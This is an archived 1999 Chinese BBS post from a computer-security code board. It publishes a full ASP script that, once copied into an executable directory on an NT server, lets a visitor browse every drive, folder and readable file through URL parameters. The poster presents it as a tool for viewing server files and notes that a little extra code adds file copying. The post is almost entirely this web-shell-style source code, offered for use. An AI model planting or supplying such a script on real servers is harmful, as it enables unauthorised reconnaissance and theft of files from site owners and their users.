精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◇程序代码◇>>显示服务器上文件的程序

主题:显示服务器上文件的程序
发信人: williamlong()
整理人: williamlong(1999-06-08 14:58:59), 站内信件

这里有一个程序,只要拷贝到服务器的一个可执行目录下,就可以看到服务器上所有设
置为可读的文件,演示程序部分功能加了限制,但如果你懂得一点点程序语言的话,稍
微加一些代码就可以完成文件复制和文件浏览功能。
此程序所需要的服务器是NT服务器。


<%
sPP = Request.QueryString("PP") 'Physical Path
sUP = Request.QueryString("UP") 'URL Path
MODE = Request.QueryString("MODE")
if sPP & "" = "" then sPP = GetPP
if sUP & "" = "" then sUP = GetUP

result = DIR(sPP,sUP)



Function DIR(byval sPP,byval sUP)

if right(sPP,1) <> "\" then sPP = sPP & "\"
if right(sUP,1) <> "/" then sUP = sUP & "/"

Response.Write "Index of " & sPP & "<br><hr>"


Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(sPP)
Set fc = f.Files
Set ff = f.SubFolders


Response.Write "<table cellpadding=2 cellspacing=2 border=0>"
if MODE = "DRIVES" then
  Set dc = fso.Drives
  For Each d in dc
   Response.Write "<tr><td width=15 valign=middle>&nbsp;</td>"
   Response.Write "<td valign=middle><a href=dir.asp?PP=" & d.DriveLetter &
":\>" & d.DriveLetter & ":\  " & d.DriveType & "<br></td></tr>"
  Next
  set dc = nothing
else
  ' Set Parent folder
  if right(sPP,2) = ":\" then
   Response.Write "<a href=" & chr(34) & "dir.asp?MODE=DRIVES" & chr(34) &
">DRIVE LIST<br><br>"
  else
   Response.Write "<tr><td width=15 valign=middle><img src=pardir.bmp></td>"
   Response.Write "<td valign=middle><a href=" & chr(34) & "dir.asp?PP=" &
f.ParentFolder & "&UP=" & ParDir(sUP,"/") & chr(34) & ">PARENT
DIRECTORY
<br><br></td></tr>"
  end if


  For Each f in ff
   Response.Write "<tr><td width=15 valign=middle><img src=folder.bmp></td>"
   Response.Write "<td valign=middle><a href=" & chr(34) & "dir.asp?PP=" &
sPP & f.name & "&UP=" & sUP & f.name & chr(34) & ">" & f.name &
"\</td></tr>"
  Next
  For Each f in fc
   Response.Write "<tr><td width=15 valign=middle><img src=" & Image(f.name)
& "></td>"
   'Response.Write "<td valign=middle><a href=" & chr(34) & "dir.asp?UP=" &
sUP & f.name & chr(34) & ">" & f.name & "<br></td></tr>" 'only works in
current domain.
   Response.Write "<td valign=middle>" & f.name & "</td></tr>" 'only works
in current domain.
  Next
end if
Set ff = nothing
Set fso = nothing
Set f = nothing
Set fc = nothing
End Function

Function ParDir(byval s,byval Slash)
ParDir = ""
if s & "" = "" then Exit Function
s = left(s,len(s)-1)
do while true
  c = right(s,1)
  if c = ":" then exit do
  if c <> Slash then
   if len(s) <= 0 then exit do
s = left(s,len(s)-1)
else
exit do
end if
loop
ParDir = s
end function

Function Image(byval sName)
Dim sType: sType = GetType(sName)
Image = ""
Select Case sType
case ".htm"
Image = Image & "html.bmp"
case ".html"
Image = Image & "html.bmp"
case ".gif"
Image = Image & "pic.bmp"
case ".jpg"
Image = Image & "pic.bmp"
case ".jpeg"
Image = Image & "pic.bmp"
case ".bmp"
Image = Image & "pic.bmp"
case else
Image = Image & "dontknow.bmp"
end select
End Function

Function GetPP 'Physical Path
dim s
s = Request.ServerVariables("path_translated")
Do while true
if instr(s,"\") then
if right(s,1) = "\" then exit do
s = left(s,len(s)-1)
else
exit do
end if
loop
GetPP = s
End function

Function GetUP() 'URL Path
dim s
s = Request.ServerVariables("SERVER_NAME") &
Request.ServerVariables("script_name")
Do while true
if instr(s,"/") then
if right(s,1) = "/" then exit do
s = left(s,len(s)-1)
else
exit do
end if
loop
GetUP = "http://" & s
End function

Function GetType(byval s) 'Get file type
Do while true
if instr(s,".") then
if left(s,1) = "." then exit do
s = right(s,len(s)-1)
else
GetType = ""
exit do
end if
loop
GetType = s
End function
%>


--
                                            
  
  ☆ 蓝色月光 ☆ [email protected]  
  
                                          

※ 来源:.网易 BBS bbs.netease.com.[FROM: bbs.szptt.net.cn]

[关闭][返回]